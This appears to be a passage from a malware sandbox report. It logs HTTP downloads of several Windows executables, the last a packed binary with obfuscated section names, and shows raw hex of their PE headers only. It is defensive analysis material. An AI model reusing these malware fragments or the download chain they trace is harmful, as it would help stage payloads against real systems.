00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 25 Nov 2024 06:53:45 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 25 Nov 2024 06:53:47 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 25 Nov 2024 06:53:48 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 25 Nov 2024 06:53:49 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 25 Nov 2024 06:53:53 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 25 Nov 2024 06:53:54 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 25 Nov 2024 06:54:00 GMTContent-Type: application/octet-streamContent-Length: 1966080Last-Modified: Mon, 25 Nov 2024 06:31:05 GMTConnection: keep-aliveETag: "674419a9-1e0000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 a0 4d 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 d0 4d 00 00 04 00 00 82 d8 1e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 44 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 82 4d 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 4d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 03 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 f0 2b 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 65 78 6b 64 78 6a 64 00 f0 1a 00 00 a0 32 00 00 e4 1a 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 67 68 64 71 63 71 6c 00 10 00 00 00 90 4d 00 00 04 00 00 00 da 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 a0 4d 00 00 22 00 00 00 de 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 